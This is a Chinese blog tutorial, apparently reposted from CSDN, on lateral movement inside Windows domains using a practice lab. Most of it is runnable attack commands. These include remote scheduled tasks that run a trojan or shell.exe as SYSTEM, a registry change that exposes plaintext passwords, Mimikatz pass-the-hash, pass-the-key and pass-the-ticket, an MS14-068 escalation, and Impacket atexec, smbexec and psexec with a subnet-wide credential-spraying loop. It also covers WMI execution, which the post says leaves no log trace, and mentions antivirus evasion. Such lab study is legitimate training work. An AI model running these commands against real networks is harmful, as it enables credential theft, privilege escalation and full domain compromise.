内网渗透——横向移动

环境

使用的是红日的靶机
下载地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/5/

账密:
win2008:账号administrator,密码123qwe!ASD
win2012:账号administrator,密码zxcASDqw123!!

【说明】:
不知道为什么,红日靶场中的phpstudy无法正常启动,显示“phpstudy已停止工作”我重新安装phpstudy也不能解决,网上的解决办法也没用。基于此,选择了红日靶场3,绕过phpsudy
在这里插入图片描述

利用Windows计划任务【借助明文账密】

利用前提:知道目标的账号密码(明文)
利用流程:

  1. 与目标主机建立IPC链接
  2. 拷贝要执行的命令脚本到目标机器
  3. 查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本
  4. 删除IPC链接

关于IPC的相关内容,参见文章Windows中的共享文件和文件服务器
用到的两个计划任务命令,at是旧版本的系统中使用的,新版本的系统使用schtasks替代了at
at < windows2012
schtasks >= windows2012

利用 at 建立连接

  1. 建立ipc连接
  2. 上传木马
  3. 确认文件上传成功
  4. 执行计划任务

我这里肯定是失败的,原因很简单,这里的目标主机是vm2网络,kali是NAT网络,此处仅作演示
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

利用 schtasks 建立连接

  1. 建立ipc连接

步骤同上,只不过这里上传的不是木马,而是一个添加用户的脚本,方便演示效果
bat脚本内容:net user zhangsan 123.com!@# /add
在这里插入图片描述

  1. 创建(需要几秒钟)-执行-删除计划任务
schtasks /create /s 192.168.93.20 /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\adduser.bat /F
schtasks /run /s 192.168.93.20 /tn adduser /i
schtasks /delete /s 192.168.93.20 /tn adduser

在这里插入图片描述

  1. 实验效果

在这里插入图片描述

  1. 补充:

有些时候,由于当前权限或组策略设置等原因,该schtasks方法远程创建计划任务可能会报错拒绝访问:
在这里插入图片描述

遇到这种情况,我们可以加上/u和/p参数分别设置高权限用户名和密码,如下:
schtasks /create /s 192.168.183.130 /u administrator /p Liu78963 /tn backdoor /sc minute /mo 1 /tr c:\shell.exe /ru system /f
这样就行了:
在这里插入图片描述

哈希值传递攻击

哈希传递攻击是基于NTLM认证的一种攻击方式。哈希传递攻击的利用前提是我们获得了某个用户的密码哈希值,但是解不开明文。这时我们可以利用NTLM认证的一种缺陷,利用用户的密码哈希值来进行NTLM认证。在域环境中,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号密码相同,攻击者就能使用哈希传递攻击登录内网中的其他机器。

更多资料:
内网横向移动:Kerberos认证与(哈希)票据传递攻击
内网横向移动研究:获取域内单机密码与Hash

哈希传递攻击适用情况

在工作组环境中

  1. Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
  2. Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。

在域环境中
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。

知识背景

关于哈希与明文密码
windows2012以上版本,默认关闭wdigest,攻击者无法从内存中获取明文密码
windows2012以下版本,如果安装了KB2871997补丁,同样会导致无法获取到明文密码

解决思路:

  1. 尝试获取明文密码
    1. 利用注册表,开启wdigest Auth值,获取明文密码
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
  1. 利用工具或第三方平台(Hachcat)破解哈希值
  2. 尝试获取哈希值
    1. 利用哈希传递(pth、ptk)进行哈希移动
    2. 利用其他服务协议(smb、wmi)进行哈希移动

关于加密方式
windows系统存在LM Hash和NTLM Hash两种加密算法。个人系统在windows vista之后,服务器系统在windwos 2003之后,认证方式均为NTLM Hash

解决思路:hashcat暴力破解
hashcat -a 0 -m 1000 hash file --force
hashcat的简单使用,参见https://blog.csdn.net/smli_ng/article/details/106111493

PTH

PTH(pass the hash) 利用LM或NTLM的值进行的渗透测试

漏洞原理

我们要知道 PTH 原理的话首先需要知道 Windows 网络认证:“NTLM 挑战/响应验证机制”,总共三步:
一:协商
协商就是客户端向服务端确认协议的版本是 v1 还是 v2,因为版本不同会选则不同的机制。
二:咨询
咨询就分为 4 小步:
1:客户端向服务端发送一个用户信息的请求,其中必须包含其用户名,否则不通过。
2:服务端成功接收到客户端发来的请求后,生成一个 16 位数的“随机字符”(Challenge)。使用该客户端发来的用户名对应的 NTLM Hash 本地查询后进行加密 Challenge,这时候就会生成一个叫做“Net NTLM Hash”。生成完后服务端会将 Challenge 发送回客户端。
其中:Net NTLM Hash = NTLM Hash 加密(Challenge)
三:验证
3:当客户端收到服务端加密发来的 Challenge 后,使用将要登陆的用户名对应的 NTLM Hash 加密(Challenge)再次生成一个叫做“Response”,之后吧 Response 再次发送给服务端。
4:服务端收到客户端发来的 Response 后,会先去
对比 Net NTLM Hash 对应的 Response 是否相等
,如果相等的话则通过认证,成功登陆。
PS:其实到这里从“验证”开始就出现了一个问题,Windows 是不会记录明文密码的!所以我们只需要获取到目标的 NTLM Hash 值和 用户名,就能成功登陆,因为 **NTLM Hash 登陆需要 Challenge **,而 Challenge 是服务端发送给我们客户端的,我们无需构造,所以就造成了一个“逻辑漏洞”的缺陷,这样我们就能够成功登陆到系统,因此就产生了哈希传递攻击。

总结如下:
PTH在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过LM Hash和NTLM Hash访问远程主机或服务,而不用提供明文密码。

如果禁用NTLM认证,PsExec无法利用获得的NTLM hash进行远程连接,但是使用mimikatz还是可以攻击成功。对于8.1/2012r2安装补丁kb2871997的Win 7/2008r2/8/2012等,可以使用AES keys代替NT hash来实现PTH攻击

总结:KB2871997补丁的影响(来源KB22871997是否真的能防御PTH攻击?

  • PTH:没打补丁用户都可以连接,打了补丁只能administrator连接
  • PTK:打了补丁用户才能都可以连接,采用aes256连接

实操

在域控主机win2012上,使用 Mimikatz 抓取本地管理员的 NTLM Hash
在这里插入图片描述

在域内主机win7上,使用Mimikatz进行pth攻击
一旦执行下面的命令,Mimikatz会打开一个新的cmd窗口,接下来的攻击,就建立在这个新的cmd窗口上

sekurlsa::pth /user:administrator /domain:god /ntlm:18edd0cc3227be3bf61ce198835a1d97

在这里插入图片描述

PTK

PTK(pass the key):利用的ekeys aes256进行的渗透测试
攻击方式同PTH,只是打了补丁后将NTML值换成aes256加密的值

privilege::debug
sekurlsa::ekeys

获取域控win2012的aes256值
在这里插入图片描述

在域内主机win7上发起攻击

sekurlsa::pth /user:administrator /domain:test.org /aes256:eede88728a78032cf9f5ca18c315f190348890da2ec5d433e66200a87cf826b0

如下图,连接失败。原因很简单,通过systeminfo | findstr KB2871997可以查找,发现win2012上面就没有KB2871997补丁。不过,即便打上补丁,也不见得能试验成功,参考连接中,内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)的作者实验时发现即便打上补丁,实验也失败了。
在这里插入图片描述

PTT——MS14-068

PTT(pass the ticket):利用的票据凭证TGT进行的渗透测试
PTT攻击的部分就不是简单的NTLM认证了,它是利用Kerberos协议进行攻击的,这里就介绍三种常见的攻击方法:MS14-068,Golden ticket,SILVER ticket,简单来说就是将连接合法的票据注入到内存中实现连接。​

  • MS14-068基于漏洞:允许域内任何一个普通用户,将自己提升至域管权限。微软给出的补丁是kb3011780
  • Golden ticket(黄金票据):用于权限维持
  • SILVER ticket(白银票据):用于权限维持

更多资料,以及实操,参见票据传递攻击

关于MS14-068:
作用:允许域内任何一个普通用户,将自己提升至域管权限.
需要的条件如下:

  • 域内任意用户SID
  • 域内任意用户密码

还需要MS14-068工具,下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068
mimikatz不需要提权,软件能运行即可。

由于我的实验环境受限,不能使用别的域用户登录系统,所以下面的实验截图来自网络

方式1:使用mimikatz

  1. 获取当前账户的sid值

在这里插入图片描述

  1. 使用powshell,利用ms14-068生成TGT数据
ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
MS14-068.exe -u mary@god.org -s S-1-5-21-1218902331-2157346161-1782232778-1124 -d 192.168.3.21 -p admin!@#45

在这里插入图片描述

  1. 处理原有的凭据
mimikatz # kerberos::purge         // 清空当前机器中所有凭证
mimikatz # kerberos::list          // 查看当前机器凭证

或者在powshell中执行系统命令

klist				// 查看当前机器凭证
klist purge	//清空当前机器中所有凭证
  1. 把凭据注入到内存中
mimikatz # kerberos::ptc 票据文件   // 将票据注入到内存中

在这里插入图片描述

  1. 此时查看凭证的注入结果

在这里插入图片描述

  1. 建立连接

在这里插入图片描述

方式2:使用kekeo

工具kekeo下载:https://github.com/gentilkiwi/kekeo/releases

1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
2.导入票据
kerberos::ptt TGT_mary@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi
3.查看凭证 klist
4.利用net use载入
dir \\192.168.3.21\c$

1.生成票据
kekeo "tgt::ask /user:mary /domain:god.org /ntlm:518b98ad4178a53695dc997aa02d455c"
在这里插入图片描述

  1. 清空当前系统中的凭据
klist purge	//清空当前机器中所有凭证
klist				// 查看当前机器凭证

在这里插入图片描述

  1. 导入票据

kerberos::ptt [email protected][email protected]
在这里插入图片描述

  1. 查看当前系统中的凭据

在这里插入图片描述

接下来就是连接了

方式3:利用本地票据(需管理员权限)

假如设备曾经连接过域控,且断开时长还没有超过票据的有效期10个小时。那么就可以使用攻击获取这些连接过的凭证,并将其注入到内容中,实现连接域控的目的

# mimikatz 命令
privilege::debug           // 提升权限

sekurlsa::tickets /export   // 导出本地所有票据
kerberos::ptt xxxxxxxxxx.xxxx.kirbi  // 导入票据 
dir \\192.168.3.21\c$   // 利用

Impacket中的Atexec【支持明文&哈希】

下面的内容源自网络,因为我的环境不支持这种复现方式
github地址(python脚本)https://github.com/SecureAuthCorp/impacket
码云地址(exe程序)https://gitee.com/RichChigga/impacket-examples-windows

关于攻击的进一步了解,参见https://www.freebuf.com/sectool/175208.html
支持对本地用户,对域用户;使用密文或者哈希值的攻击

atexec.exe ./administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe god/administrator:Admin12345@192.168.3.21 "whoami"
atexec.exe -hashes 哈希值 ./administrator@192.168.3.21 "whoami"

在这里插入图片描述

上面的做法较为简陋,现在升级一下,批量扫描
已知某主机的账密是administrator:admin!@#45

  1. 存活主机探测

把存活主机的ip复制下来,保存到ips.txt中

for /l %i in (1,1,255) do @ ping 192.168.3.%i -w 1 -n 1|find /i "ttl="
  1. 编写bat脚本,调用ips.txt中的ip,反复进行Atexec连接攻击
for /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45%%i whoami
  1. 跑脚本

在这里插入图片描述

其他协议——SMB服务利用

利用SMB服务可以通过明文或者hash传递,来远程执行。条件是445服务端口开放

使用psexec

所需工具:Pstools官方工具包:https://docs.microsoft.com/en-us/sysinternals/downloads/pstools
方式1:
先有ipc链接,psexec需要明文或hash传递
关于第3条发起攻击的命令,-s以System权限运行
在这里插入图片描述

第二种:不用建立IPC,直接明文账户,密码或hash

  1. 明文密码

在这里插入图片描述

  1. 使用hash

官方工具,在利用hash方面比较尴尬,偶尔会出现下面这种情况
在这里插入图片描述

  1. 使用hash

使用Impacket工具包种的psexec,解决上面那种尴尬问题
【需要考虑免杀】
在这里插入图片描述

使用smbexec【支持明文&哈希】

smbexec god/administrator:Admin12345@192.168.3.21	#连接域用户
smbexec ./administrator:admin!@#[email protected]	#连接本地用户
smbexec -hashes :$HASH$ ./admin@192.168.3.21
smbbexec -hashes :$HASH$ domain/admin@192.168.3.21
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 god/administrator@192.168.3.21
  1. 使用明文连接域用户

在这里插入图片描述

  1. 连接本地用户

在这里插入图片描述

其他协议——WMI服务利用【支持明文&哈希】

WMI(Windows Management Instrumentation) 是通过135端口进行利用,支持用户名明文或者hash的方式进行认证,并且该方法不会在目标日志系统留下痕迹。

1. 自带WMIC命令,明文传递,无回显

优点:不需要考虑免杀问题
缺点:没有回显,查看执行结果,较为繁琐

wmic /node:192.168.93.20 /user:administrator /password:123qwe!ASD process call create "cmd.exe /c  ipconfig >C:\1.txt"

在域内主机win7上执行下面命令:
在这里插入图片描述

域内主机win2008(192.168.93.20)的c盘出现了命令执行结果的1.txt
在这里插入图片描述

2. cscript配合wmiexec.vbs脚本,明文传递,有回显

优点:有回显
缺点:需要对wmiexec.vbs做免杀(比较简单)

cscript是系统自带的命令,wmiexec.vbs需要额外下载
wmiexec.vbs脚本下载:https://www.secpulse.com/wp-content/uploads/2015/05/cache-a360611dc24d240989799c29c555e4b7_wmiexec-v1_1.rar

cscript //nologo wmiexec.vbs /shell 192.168.93.20 administrator 123qwe!ASD

在域内主机win7上执行下面命令,目标主机是域内主机win2008
在这里插入图片描述

3. 第三方套件impacket wmiexec【明文或hash传递】

优点:有回显,exe版本,操作简单
缺点:容易被杀软查杀
在这里插入图片描述

其他

开源内网神器Ladon

项目地址:https://github.com/k8gege/Ladon

参考

内网渗透 | 哈希传递攻击(Pass-the-Hash,PtH)
从原理角度来看攻击手法:Pass The Hash(哈希传递)
内网渗透|谈谈HASH传递那些世人皆知的事
【内网渗透】域横向PTH&PTK&PTT哈希票据传递

猜你喜欢

转载自blog.csdn.net/weixin_44288604/article/details/120680808